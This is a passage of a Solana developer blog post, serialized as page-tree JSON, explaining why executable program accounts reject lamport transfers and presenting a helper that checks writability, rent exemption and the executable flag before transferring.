",{"type":22,"tag":69,"props":74366,"children":74369},{"href":74367,"rel":74368},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[73],[74370],{"type":27,"value":74371},"BorrowedAccount::set_lamports",{"type":27,"value":210},{"type":22,"tag":618,"props":74374,"children":74376},{"className":4274,"code":74375,"language":4273,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[74377],{"type":22,"tag":257,"props":74378,"children":74379},{"__ignoreMap":7},[74380,74388,74409,74481,74489,74548,74580,74587,74595,74623,74655,74662,74670,74694,74726,74733,74741,74776,74792,74799,74827,74862,74873,74880,74887,74895,74914,74922,74962,74974,74986,74998,75029],{"type":22,"tag":264,"props":74381,"children":74382},{"class":1534,"line":1535},[74383],{"type":22,"tag":264,"props":74384,"children":74385},{"style":4284},[74386],{"type":27,"value":74387},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":22,"tag":264,"props":74389,"children":74390},{"class":1534,"line":1545},[74391,74396,74400,74405],{"type":22,"tag":264,"props":74392,"children":74393},{"style":1539},[74394],{"type":27,"value":74395},"#[cfg(not(target_os ",{"type":22,"tag":264,"props":74397,"children":74398},{"style":4309},[74399],{"type":27,"value":429},{"type":22,"tag":264,"props":74401,"children":74402},{"style":1597},[74403],{"type":27,"value":74404}," \"solana\"",{"type":22,"tag":264,"props":74406,"children":74407},{"style":1539},[74408],{"type":27,"value":21915},{"type":22,"tag":264,"props":74410,"children":74411},{"class":1534,"line":1560},[74412,74416,74420,74425,74429,74433,74437,74441,74445,74449,74453,74457,74461,74465,74469,74473,74477],{"type":22,"tag":264,"props":74413,"children":74414},{"style":4293},[74415],{"type":27,"value":14989},{"type":22,"tag":264,"props":74417,"children":74418},{"style":4293},[74419],{"type":27,"value":14994},{"type":22,"tag":264,"props":74421,"children":74422},{"style":4401},[74423],{"type":27,"value":74424}," set_lamports",{"type":22,"tag":264,"props":74426,"children":74427},{"style":1539},[74428],{"type":27,"value":2660},{"type":22,"tag":264,"props":74430,"children":74431},{"style":4309},[74432],{"type":27,"value":4413},{"type":22,"tag":264,"props":74434,"children":74435},{"style":4293},[74436],{"type":27,"value":5035},{"type":22,"tag":264,"props":74438,"children":74439},{"style":4293},[74440],{"type":27,"value":15096},{"type":22,"tag":264,"props":74442,"children":74443},{"style":1539},[74444],{"type":27,"value":4380},{"type":22,"tag":264,"props":74446,"children":74447},{"style":1549},[74448],{"type":27,"value":16811},{"type":22,"tag":264,"props":74450,"children":74451},{"style":4309},[74452],{"type":27,"value":5785},{"type":22,"tag":264,"props":74454,"children":74455},{"style":4722},[74456],{"type":27,"value":7151},{"type":22,"tag":264,"props":74458,"children":74459},{"style":1539},[74460],{"type":27,"value":4390},{"type":22,"tag":264,"props":74462,"children":74463},{"style":4309},[74464],{"type":27,"value":15056},{"type":22,"tag":264,"props":74466,"children":74467},{"style":4722},[74468],{"type":27,"value":15061},{"type":22,"tag":264,"props":74470,"children":74471},{"style":1539},[74472],{"type":27,"value":15066},{"type":22,"tag":264,"props":74474,"children":74475},{"style":4722},[74476],{"type":27,"value":17058},{"type":22,"tag":264,"props":74478,"children":74479},{"style":1539},[74480],{"type":27,"value":8574},{"type":22,"tag":264,"props":74482,"children":74483},{"class":1534,"line":1569},[74484],{"type":22,"tag":264,"props":74485,"children":74486},{"style":4284},[74487],{"type":27,"value":74488},"    // An account not owned by the program cannot have its balance decrease\n",{"type":22,"tag":264,"props":74490,"children":74491},{"class":1534,"line":1583},[74492,74496,74500,74504,74508,74513,74517,74522,74527,74531,74535,74539,74544],{"type":22,"tag":264,"props":74493,"children":74494},{"style":4328},[74495],{"type":27,"value":13578},{"type":22,"tag":264,"props":74497,"children":74498},{"style":4309},[74499],{"type":27,"value":14162},{"type":22,"tag":264,"props":74501,"children":74502},{"style":4293},[74503],{"type":27,"value":15012},{"type":22,"tag":264,"props":74505,"children":74506},{"style":4309},[74507],{"type":27,"value":210},{"type":22,"tag":264,"props":74509,"children":74510},{"style":4401},[74511],{"type":27,"value":74512},"is_owned_by_current_program",{"type":22,"tag":264,"props":74514,"children":74515},{"style":1539},[74516],{"type":27,"value":15342},{"type":22,"tag":264,"props":74518,"children":74519},{"style":4309},[74520],{"type":27,"value":74521},"&&",{"type":22,"tag":264,"props":74523,"children":74524},{"style":1549},[74525],{"type":27,"value":74526}," lamports",{"type":22,"tag":264,"props":74528,"children":74529},{"style":4309},[74530],{"type":27,"value":10014},{"type":22,"tag":264,"props":74532,"children":74533},{"style":4293},[74534],{"type":27,"value":15096},{"type":22,"tag":264,"props":74536,"children":74537},{"style":4309},[74538],{"type":27,"value":210},{"type":22,"tag":264,"props":74540,"children":74541},{"style":4401},[74542],{"type":27,"value":74543},"get_lamports",{"type":22,"tag":264,"props":74545,"children":74546},{"style":1539},[74547],{"type":27,"value":17036},{"type":22,"tag":264,"props":74549,"children":74550},{"class":1534,"line":1603},[74551,74555,74559,74563,74567,74571,74576],{"type":22,"tag":264,"props":74552,"children":74553},{"style":4328},[74554],{"type":27,"value":17044},{"type":22,"tag":264,"props":74556,"children":74557},{"style":4722},[74558],{"type":27,"value":17049},{"type":22,"tag":264,"props":74560,"children":74561},{"style":1539},[74562],{"type":27,"value":2660},{"type":22,"tag":264,"props":74564,"children":74565},{"style":4722},[74566],{"type":27,"value":17058},{"type":22,"tag":264,"props":74568,"children":74569},{"style":4309},[74570],{"type":27,"value":4785},{"type":22,"tag":264,"props":74572,"children":74573},{"style":4722},[74574],{"type":27,"value":74575},"ExternalAccountLamportSpend",{"type":22,"tag":264,"props":74577,"children":74578},{"style":1539},[74579],{"type":27,"value":5142},{"type":22,"tag":264,"props":74581,"children":74582},{"class":1534,"line":1612},[74583],{"type":22,"tag":264,"props":74584,"children":74585},{"style":1539},[74586],{"type":27,"value":1674},{"type":22,"tag":264,"props":74588,"children":74589},{"class":1534,"line":1621},[74590],{"type":22,"tag":264,"props":74591,"children":74592},{"style":4284},[74593],{"type":27,"value":74594},"    // The balance of read-only may not change\n",{"type":22,"tag":264,"props":74596,"children":74597},{"class":1534,"line":1629},[74598,74602,74606,74610,74614,74619],{"type":22,"tag":264,"props":74599,"children":74600},{"style":4328},[74601],{"type":27,"value":13578},{"type":22,"tag":264,"props":74603,"children":74604},{"style":4309},[74605],{"type":27,"value":14162},{"type":22,"tag":264,"props":74607,"children":74608},{"style":4293},[74609],{"type":27,"value":15012},{"type":22,"tag":264,"props":74611,"children":74612},{"style":4309},[74613],{"type":27,"value":210},{"type":22,"tag":264,"props":74615,"children":74616},{"style":4401},[74617],{"type":27,"value":74618},"is_writable",{"type":22,"tag":264,"props":74620,"children":74621},{"style":1539},[74622],{"type":27,"value":17036},{"type":22,"tag":264,"props":74624,"children":74625},{"class":1534,"line":1642},[74626,74630,74634,74638,74642,74646,74651],{"type":22,"tag":264,"props":74627,"children":74628},{"style":4328},[74629],{"type":27,"value":17044},{"type":22,"tag":264,"props":74631,"children":74632},{"style":4722},[74633],{"type":27,"value":17049},{"type":22,"tag":264,"props":74635,"children":74636},{"style":1539},[74637],{"type":27,"value":2660},{"type":22,"tag":264,"props":74639,"children":74640},{"style":4722},[74641],{"type":27,"value":17058},{"type":22,"tag":264,"props":74643,"children":74644},{"style":4309},[74645],{"type":27,"value":4785},{"type":22,"tag":264,"props":74647,"children":74648},{"style":4722},[74649],{"type":27,"value":74650},"ReadonlyLamportChange",{"type":22,"tag":264,"props":74652,"children":74653},{"style":1539},[74654],{"type":27,"value":5142},{"type":22,"tag":264,"props":74656,"children":74657},{"class":1534,"line":1660},[74658],{"type":22,"tag":264,"props":74659,"children":74660},{"style":1539},[74661],{"type":27,"value":1674},{"type":22,"tag":264,"props":74663,"children":74664},{"class":1534,"line":1668},[74665],{"type":22,"tag":264,"props":74666,"children":74667},{"style":4284},[74668],{"type":27,"value":74669},"    // The balance of executable accounts may not change\n",{"type":22,"tag":264,"props":74671,"children":74672},{"class":1534,"line":1677},[74673,74677,74681,74685,74690],{"type":22,"tag":264,"props":74674,"children":74675},{"style":4328},[74676],{"type":27,"value":13578},{"type":22,"tag":264,"props":74678,"children":74679},{"style":4293},[74680],{"type":27,"value":15096},{"type":22,"tag":264,"props":74682,"children":74683},{"style":4309},[74684],{"type":27,"value":210},{"type":22,"tag":264,"props":74686,"children":74687},{"style":4401},[74688],{"type":27,"value":74689},"is_executable_internal",{"type":22,"tag":264,"props":74691,"children":74692},{"style":1539},[74693],{"type":27,"value":17036},{"type":22,"tag":264,"props":74695,"children":74696},{"class":1534,"line":1686},[74697,74701,74705,74709,74713,74717,74722],{"type":22,"tag":264,"props":74698,"children":74699},{"style":4328},[74700],{"type":27,"value":17044},{"type":22,"tag":264,"props":74702,"children":74703},{"style":4722},[74704],{"type":27,"value":17049},{"type":22,"tag":264,"props":74706,"children":74707},{"style":1539},[74708],{"type":27,"value":2660},{"type":22,"tag":264,"props":74710,"children":74711},{"style":4722},[74712],{"type":27,"value":17058},{"type":22,"tag":264,"props":74714,"children":74715},{"style":4309},[74716],{"type":27,"value":4785},{"type":22,"tag":264,"props":74718,"children":74719},{"style":4722},[74720],{"type":27,"value":74721},"ExecutableLamportChange",{"type":22,"tag":264,"props":74723,"children":74724},{"style":1539},[74725],{"type":27,"value":5142},{"type":22,"tag":264,"props":74727,"children":74728},{"class":1534,"line":4948},[74729],{"type":22,"tag":264,"props":74730,"children":74731},{"style":1539},[74732],{"type":27,"value":1674},{"type":22,"tag":264,"props":74734,"children":74735},{"class":1534,"line":4957},[74736],{"type":22,"tag":264,"props":74737,"children":74738},{"style":4284},[74739],{"type":27,"value":74740},"    // don't touch the account if the lamports do not change\n",{"type":22,"tag":264,"props":74742,"children":74743},{"class":1534,"line":4980},[74744,74748,74752,74756,74760,74764,74768,74772],{"type":22,"tag":264,"props":74745,"children":74746},{"style":4328},[74747],{"type":27,"value":13578},{"type":22,"tag":264,"props":74749,"children":74750},{"style":4293},[74751],{"type":27,"value":15096},{"type":22,"tag":264,"props":74753,"children":74754},{"style":4309},[74755],{"type":27,"value":210},{"type":22,"tag":264,"props":74757,"children":74758},{"style":4401},[74759],{"type":27,"value":74543},{"type":22,"tag":264,"props":74761,"children":74762},{"style":1539},[74763],{"type":27,"value":15342},{"type":22,"tag":264,"props":74765,"children":74766},{"style":4309},[74767],{"type":27,"value":9870},{"type":22,"tag":264,"props":74769,"children":74770},{"style":1549},[74771],{"type":27,"value":74526},{"type":22,"tag":264,"props":74773,"children":74774},{"style":1539},[74775],{"type":27,"value":4594},{"type":22,"tag":264,"props":74777,"children":74778},{"class":1534,"line":4989},[74779,74783,74787],{"type":22,"tag":264,"props":74780,"children":74781},{"style":4328},[74782],{"type":27,"value":17044},{"type":22,"tag":264,"props":74784,"children":74785},{"style":4722},[74786],{"type":27,"value":44253},{"type":22,"tag":264,"props":74788,"children":74789},{"style":1539},[74790],{"type":27,"value":74791},"(());\n",{"type":22,"tag":264,"props":74793,"children":74794},{"class":1534,"line":4998},[74795],{"type":22,"tag":264,"props":74796,"children":74797},{"style":1539},[74798],{"type":27,"value":1674},{"type":22,"tag":264,"props":74800,"children":74801},{"class":1534,"line":5067},[74802,74806,74810,74815,74819,74823],{"type":22,"tag":264,"props":74803,"children":74804},{"style":4293},[74805],{"type":27,"value":22093},{"type":22,"tag":264,"props":74807,"children":74808},{"style":4309},[74809],{"type":27,"value":210},{"type":22,"tag":264,"props":74811,"children":74812},{"style":4401},[74813],{"type":27,"value":74814},"touch",{"type":22,"tag":264,"props":74816,"children":74817},{"style":1539},[74818],{"type":27,"value":15178},{"type":22,"tag":264,"props":74820,"children":74821},{"style":4309},[74822],{"type":27,"value":4458},{"type":22,"tag":264,"props":74824,"children":74825},{"style":1539},[74826],{"type":27,"value":4322},{"type":22,"tag":264,"props":74828,"children":74829},{"class":1534,"line":5075},[74830,74834,74838,74842,74846,74850,74854,74858],{"type":22,"tag":264,"props":74831,"children":74832},{"style":4293},[74833],{"type":27,"value":22093},{"type":22,"tag":264,"props":74835,"children":74836},{"style":4309},[74837],{"type":27,"value":210},{"type":22,"tag":264,"props":74839,"children":74840},{"style":1539},[74841],{"type":27,"value":14251},{"type":22,"tag":264,"props":74843,"children":74844},{"style":4309},[74845],{"type":27,"value":210},{"type":22,"tag":264,"props":74847,"children":74848},{"style":4401},[74849],{"type":27,"value":74357},{"type":22,"tag":264,"props":74851,"children":74852},{"style":1539},[74853],{"type":27,"value":2660},{"type":22,"tag":264,"props":74855,"children":74856},{"style":1549},[74857],{"type":27,"value":16811},{"type":22,"tag":264,"props":74859,"children":74860},{"style":1539},[74861],{"type":27,"value":5142},{"type":22,"tag":264,"props":74863,"children":74864},{"class":1534,"line":5105},[74865,74869],{"type":22,"tag":264,"props":74866,"children":74867},{"style":4722},[74868],{"type":27,"value":15632},{"type":22,"tag":264,"props":74870,"children":74871},{"style":1539},[74872],{"type":27,"value":15637},{"type":22,"tag":264,"props":74874,"children":74875},{"class":1534,"line":5113},[74876],{"type":22,"tag":264,"props":74877,"children":74878},{"style":1539},[74879],{"type":27,"value":1692},{"type":22,"tag":264,"props":74881,"children":74882},{"class":1534,"line":5145},[74883],{"type":22,"tag":264,"props":74884,"children":74885},{"emptyLinePlaceholder":17},[74886],{"type":27,"value":4986},{"type":22,"tag":264,"props":74888,"children":74889},{"class":1534,"line":5153},[74890],{"type":22,"tag":264,"props":74891,"children":74892},{"style":4284},[74893],{"type":27,"value":74894},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":22,"tag":264,"props":74896,"children":74897},{"class":1534,"line":5213},[74898,74902,74906,74910],{"type":22,"tag":264,"props":74899,"children":74900},{"style":1539},[74901],{"type":27,"value":74395},{"type":22,"tag":264,"props":74903,"children":74904},{"style":4309},[74905],{"type":27,"value":429},{"type":22,"tag":264,"props":74907,"children":74908},{"style":1597},[74909],{"type":27,"value":74404},{"type":22,"tag":264,"props":74911,"children":74912},{"style":1539},[74913],{"type":27,"value":21915},{"type":22,"tag":264,"props":74915,"children":74916},{"class":1534,"line":10343},[74917],{"type":22,"tag":264,"props":74918,"children":74919},{"style":1539},[74920],{"type":27,"value":74921},"#[inline]\n",{"type":22,"tag":264,"props":74923,"children":74924},{"class":1534,"line":10361},[74925,74929,74934,74938,74942,74946,74950,74954,74958],{"type":22,"tag":264,"props":74926,"children":74927},{"style":4293},[74928],{"type":27,"value":21573},{"type":22,"tag":264,"props":74930,"children":74931},{"style":4401},[74932],{"type":27,"value":74933}," is_executable_internal",{"type":22,"tag":264,"props":74935,"children":74936},{"style":1539},[74937],{"type":27,"value":2660},{"type":22,"tag":264,"props":74939,"children":74940},{"style":4309},[74941],{"type":27,"value":4413},{"type":22,"tag":264,"props":74943,"children":74944},{"style":4293},[74945],{"type":27,"value":15012},{"type":22,"tag":264,"props":74947,"children":74948},{"style":1539},[74949],{"type":27,"value":4390},{"type":22,"tag":264,"props":74951,"children":74952},{"style":4309},[74953],{"type":27,"value":15056},{"type":22,"tag":264,"props":74955,"children":74956},{"style":4722},[74957],{"type":27,"value":13349},{"type":22,"tag":264,"props":74959,"children":74960},{"style":1539},[74961],{"type":27,"value":4594},{"type":22,"tag":264,"props":74963,"children":74964},{"class":1534,"line":10406},[74965,74969],{"type":22,"tag":264,"props":74966,"children":74967},{"style":4309},[74968],{"type":27,"value":22277},{"type":22,"tag":264,"props":74970,"children":74971},{"style":4293},[74972],{"type":27,"value":74973},"self\n",{"type":22,"tag":264,"props":74975,"children":74976},{"class":1534,"line":10512},[74977,74981],{"type":22,"tag":264,"props":74978,"children":74979},{"style":4309},[74980],{"type":27,"value":69583},{"type":22,"tag":264,"props":74982,"children":74983},{"style":1539},[74984],{"type":27,"value":74985},"transaction_context\n",{"type":22,"tag":264,"props":74987,"children":74988},{"class":1534,"line":24810},[74989,74993],{"type":22,"tag":264,"props":74990,"children":74991},{"style":4309},[74992],{"type":27,"value":69583},{"type":22,"tag":264,"props":74994,"children":74995},{"style":1539},[74996],{"type":27,"value":74997},"remove_accounts_executable_flag_checks\n",{"type":22,"tag":264,"props":74999,"children":75000},{"class":1534,"line":24845},[75001,75005,75009,75013,75017,75021,75025],{"type":22,"tag":264,"props":75002,"children":75003},{"style":4309},[75004],{"type":27,"value":44117},{"type":22,"tag":264,"props":75006,"children":75007},{"style":4293},[75008],{"type":27,"value":15096},{"type":22,"tag":264,"props":75010,"children":75011},{"style":4309},[75012],{"type":27,"value":210},{"type":22,"tag":264,"props":75014,"children":75015},{"style":1539},[75016],{"type":27,"value":14251},{"type":22,"tag":264,"props":75018,"children":75019},{"style":4309},[75020],{"type":27,"value":210},{"type":22,"tag":264,"props":75022,"children":75023},{"style":4401},[75024],{"type":27,"value":16955},{"type":22,"tag":264,"props":75026,"children":75027},{"style":1539},[75028],{"type":27,"value":9029},{"type":22,"tag":264,"props":75030,"children":75031},{"class":1534,"line":24853},[75032],{"type":22,"tag":264,"props":75033,"children":75034},{"style":1539},[75035],{"type":27,"value":1692},{"type":22,"tag":23,"props":75037,"children":75038},{},[75039],{"type":27,"value":75040},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":22,"tag":23,"props":75042,"children":75043},{},[75044,75046,75051],{"type":27,"value":75045},"Specifically, ",{"type":22,"tag":242,"props":75047,"children":75048},{},[75049],{"type":27,"value":75050},"executable accounts",{"type":27,"value":75052}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":22,"tag":20197,"props":75054,"children":75056},{"id":75055},"sidebar-whats-the-executable-flag-anyway",[75057],{"type":27,"value":75058},"Sidebar: What's the executable Flag Anyway?",{"type":22,"tag":23,"props":75060,"children":75061},{},[75062,75063,75068],{"type":27,"value":17914},{"type":22,"tag":257,"props":75064,"children":75066},{"className":75065},[],[75067],{"type":27,"value":16955},{"type":27,"value":75069}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":22,"tag":23,"props":75071,"children":75072},{},[75073,75075,75080],{"type":27,"value":75074},"This behavior became problematic with the introduction of the ",{"type":22,"tag":242,"props":75076,"children":75077},{},[75078],{"type":27,"value":75079},"Upgradeable BPF Loader",{"type":27,"value":75081},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":22,"tag":618,"props":75083,"children":75085},{"className":4274,"code":75084,"language":4273,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[75086],{"type":22,"tag":257,"props":75087,"children":75088},{"__ignoreMap":7},[75089,75101,75109,75129,75137,75149,75157,75177,75185,75213,75221,75229],{"type":22,"tag":264,"props":75090,"children":75091},{"class":1534,"line":1535},[75092,75097],{"type":22,"tag":264,"props":75093,"children":75094},{"style":4722},[75095],{"type":27,"value":75096},"Program",{"type":22,"tag":264,"props":75098,"children":75099},{"style":1539},[75100],{"type":27,"value":4594},{"type":22,"tag":264,"props":75102,"children":75103},{"class":1534,"line":1545},[75104],{"type":22,"tag":264,"props":75105,"children":75106},{"style":4284},[75107],{"type":27,"value":75108},"    /// Address of the ProgramData account.\n",{"type":22,"tag":264,"props":75110,"children":75111},{"class":1534,"line":1560},[75112,75117,75121,75125],{"type":22,"tag":264,"props":75113,"children":75114},{"style":1549},[75115],{"type":27,"value":75116},"    programdata_address",{"type":22,"tag":264,"props":75118,"children":75119},{"style":4309},[75120],{"type":27,"value":5785},{"type":22,"tag":264,"props":75122,"children":75123},{"style":4722},[75124],{"type":27,"value":22164},{"type":22,"tag":264,"props":75126,"children":75127},{"style":1539},[75128],{"type":27,"value":4812},{"type":22,"tag":264,"props":75130,"children":75131},{"class":1534,"line":1569},[75132],{"type":22,"tag":264,"props":75133,"children":75134},{"style":1539},[75135],{"type":27,"value":75136},"},\n",{"type":22,"tag":264,"props":75138,"children":75139},{"class":1534,"line":1583},[75140,75145],{"type":22,"tag":264,"props":75141,"children":75142},{"style":4722},[75143],{"type":27,"value":75144},"ProgramData",{"type":22,"tag":264,"props":75146,"children":75147},{"style":1539},[75148],{"type":27,"value":4594},{"type":22,"tag":264,"props":75150,"children":75151},{"class":1534,"line":1603},[75152],{"type":22,"tag":264,"props":75153,"children":75154},{"style":4284},[75155],{"type":27,"value":75156},"    /// Slot that the program was last modified.\n",{"type":22,"tag":264,"props":75158,"children":75159},{"class":1534,"line":1612},[75160,75165,75169,75173],{"type":22,"tag":264,"props":75161,"children":75162},{"style":1549},[75163],{"type":27,"value":75164},"    slot",{"type":22,"tag":264,"props":75166,"children":75167},{"style":4309},[75168],{"type":27,"value":5785},{"type":22,"tag":264,"props":75170,"children":75171},{"style":4722},[75172],{"type":27,"value":7151},{"type":22,"tag":264,"props":75174,"children":75175},{"style":1539},[75176],{"type":27,"value":4812},{"type":22,"tag":264,"props":75178,"children":75179},{"class":1534,"line":1621},[75180],{"type":22,"tag":264,"props":75181,"children":75182},{"style":4284},[75183],{"type":27,"value":75184},"    /// Address of the Program's upgrade authority.\n",{"type":22,"tag":264,"props":75186,"children":75187},{"class":1534,"line":1629},[75188,75193,75197,75201,75205,75209],{"type":22,"tag":264,"props":75189,"children":75190},{"style":1549},[75191],{"type":27,"value":75192},"    upgrade_authority_address",{"type":22,"tag":264,"props":75194,"children":75195},{"style":4309},[75196],{"type":27,"value":5785},{"type":22,"tag":264,"props":75198,"children":75199},{"style":4722},[75200],{"type":27,"value":28958},{"type":22,"tag":264,"props":75202,"children":75203},{"style":1539},[75204],{"type":27,"value":7097},{"type":22,"tag":264,"props":75206,"children":75207},{"style":4722},[75208],{"type":27,"value":22705},{"type":22,"tag":264,"props":75210,"children":75211},{"style":1539},[75212],{"type":27,"value":7430},{"type":22,"tag":264,"props":75214,"children":75215},{"class":1534,"line":1642},[75216],{"type":22,"tag":264,"props":75217,"children":75218},{"style":4284},[75219],{"type":27,"value":75220},"    // The raw program data follows this serialized structure in the\n",{"type":22,"tag":264,"props":75222,"children":75223},{"class":1534,"line":1660},[75224],{"type":22,"tag":264,"props":75225,"children":75226},{"style":4284},[75227],{"type":27,"value":75228},"    // account's data.\n",{"type":22,"tag":264,"props":75230,"children":75231},{"class":1534,"line":1668},[75232],{"type":22,"tag":264,"props":75233,"children":75234},{"style":1539},[75235],{"type":27,"value":75136},{"type":22,"tag":23,"props":75237,"children":75238},{},[75239,75241,75248],{"type":27,"value":75240},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":22,"tag":69,"props":75242,"children":75245},{"href":75243,"rel":75244},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[73],[75246],{"type":27,"value":75247},"SIMD-0162",{"type":27,"value":75249},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":22,"tag":23,"props":75251,"children":75252},{},[75253,75255,75260,75262,75267],{"type":27,"value":75254},"This change is also a ",{"type":22,"tag":242,"props":75256,"children":75257},{},[75258],{"type":27,"value":75259},"hard requirement for supporting the new loader-v4",{"type":27,"value":75261},". Unlike the upgradable loader, which relies on a separate ",{"type":22,"tag":257,"props":75263,"children":75265},{"className":75264},[],[75266],{"type":27,"value":75144},{"type":27,"value":75268}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":22,"tag":23,"props":75270,"children":75271},{},[75272,75274,75281,75283,75288],{"type":27,"value":75273},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":22,"tag":69,"props":75275,"children":75278},{"href":75276,"rel":75277},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[73],[75279],{"type":27,"value":75280},"migrate",{"type":27,"value":75282}," from the upgradable loader to loader-v4 — without hitting the ",{"type":22,"tag":257,"props":75284,"children":75286},{"className":75285},[],[75287],{"type":27,"value":74721},{"type":27,"value":75289}," restriction.",{"type":22,"tag":20197,"props":75291,"children":75293},{"id":75292},"fix-2-reject-program-accounts",[75294],{"type":27,"value":75295},"Fix 2: Reject Program Accounts",{"type":22,"tag":23,"props":75297,"children":75298},{},[75299],{"type":27,"value":75300},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":22,"tag":618,"props":75302,"children":75304},{"className":4274,"code":75303,"language":4273,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[75305],{"type":22,"tag":257,"props":75306,"children":75307},{"__ignoreMap":7},[75308,75384,75432,75448,75455,75494,75538,75562,75611,75639],{"type":22,"tag":264,"props":75309,"children":75310},{"class":1534,"line":1535},[75311,75315,75319,75324,75328,75332,75336,75340,75344,75348,75352,75356,75360,75364,75368,75372,75376,75380],{"type":22,"tag":264,"props":75312,"children":75313},{"style":4293},[75314],{"type":27,"value":14989},{"type":22,"tag":264,"props":75316,"children":75317},{"style":4293},[75318],{"type":27,"value":14994},{"type":22,"tag":264,"props":75320,"children":75321},{"style":4401},[75322],{"type":27,"value":75323}," can_transfer_lamports",{"type":22,"tag":264,"props":75325,"children":75326},{"style":1539},[75327],{"type":27,"value":2660},{"type":22,"tag":264,"props":75329,"children":75330},{"style":1549},[75331],{"type":27,"value":14251},{"type":22,"tag":264,"props":75333,"children":75334},{"style":4309},[75335],{"type":27,"value":5785},{"type":22,"tag":264,"props":75337,"children":75338},{"style":4309},[75339],{"type":27,"value":8434},{"type":22,"tag":264,"props":75341,"children":75342},{"style":4722},[75343],{"type":27,"value":16238},{"type":22,"tag":264,"props":75345,"children":75346},{"style":1539},[75347],{"type":27,"value":4380},{"type":22,"tag":264,"props":75349,"children":75350},{"style":1549},[75351],{"type":27,"value":16811},{"type":22,"tag":264,"props":75353,"children":75354},{"style":4309},[75355],{"type":27,"value":5785},{"type":22,"tag":264,"props":75357,"children":75358},{"style":4722},[75359],{"type":27,"value":7151},{"type":22,"tag":264,"props":75361,"children":75362},{"style":1539},[75363],{"type":27,"value":4390},{"type":22,"tag":264,"props":75365,"children":75366},{"style":4309},[75367],{"type":27,"value":15056},{"type":22,"tag":264,"props":75369,"children":75370},{"style":4722},[75371],{"type":27,"value":15061},{"type":22,"tag":264,"props":75373,"children":75374},{"style":1539},[75375],{"type":27,"value":7097},{"type":22,"tag":264,"props":75377,"children":75378},{"style":4722},[75379],{"type":27,"value":30999},{"type":22,"tag":264,"props":75381,"children":75382},{"style":1539},[75383],{"type":27,"value":8574},{"type":22,"tag":264,"props":75385,"children":75386},{"class":1534,"line":1545},[75387,75391,75396,75400,75404,75408,75412,75416,75420,75424,75428],{"type":22,"tag":264,"props":75388,"children":75389},{"style":4293},[75390],{"type":27,"value":21573},{"type":22,"tag":264,"props":75392,"children":75393},{"style":4401},[75394],{"type":27,"value":75395}," is_program",{"type":22,"tag":264,"props":75397,"children":75398},{"style":1539},[75399],{"type":27,"value":2660},{"type":22,"tag":264,"props":75401,"children":75402},{"style":1549},[75403],{"type":27,"value":14251},{"type":22,"tag":264,"props":75405,"children":75406},{"style":4309},[75407],{"type":27,"value":5785},{"type":22,"tag":264,"props":75409,"children":75410},{"style":4309},[75411],{"type":27,"value":8434},{"type":22,"tag":264,"props":75413,"children":75414},{"style":4722},[75415],{"type":27,"value":16238},{"type":22,"tag":264,"props":75417,"children":75418},{"style":1539},[75419],{"type":27,"value":4390},{"type":22,"tag":264,"props":75421,"children":75422},{"style":4309},[75423],{"type":27,"value":15056},{"type":22,"tag":264,"props":75425,"children":75426},{"style":4722},[75427],{"type":27,"value":13349},{"type":22,"tag":264,"props":75429,"children":75430},{"style":1539},[75431],{"type":27,"value":4594},{"type":22,"tag":264,"props":75433,"children":75434},{"class":1534,"line":1560},[75435,75439,75443],{"type":22,"tag":264,"props":75436,"children":75437},{"style":1549},[75438],{"type":27,"value":26484},{"type":22,"tag":264,"props":75440,"children":75441},{"style":4309},[75442],{"type":27,"value":210},{"type":22,"tag":264,"props":75444,"children":75445},{"style":1539},[75446],{"type":27,"value":75447},"executable\n",{"type":22,"tag":264,"props":75449,"children":75450},{"class":1534,"line":1569},[75451],{"type":22,"tag":264,"props":75452,"children":75453},{"style":1539},[75454],{"type":27,"value":1692},{"type":22,"tag":264,"props":75456,"children":75457},{"class":1534,"line":1583},[75458,75462,75466,75470,75474,75478,75482,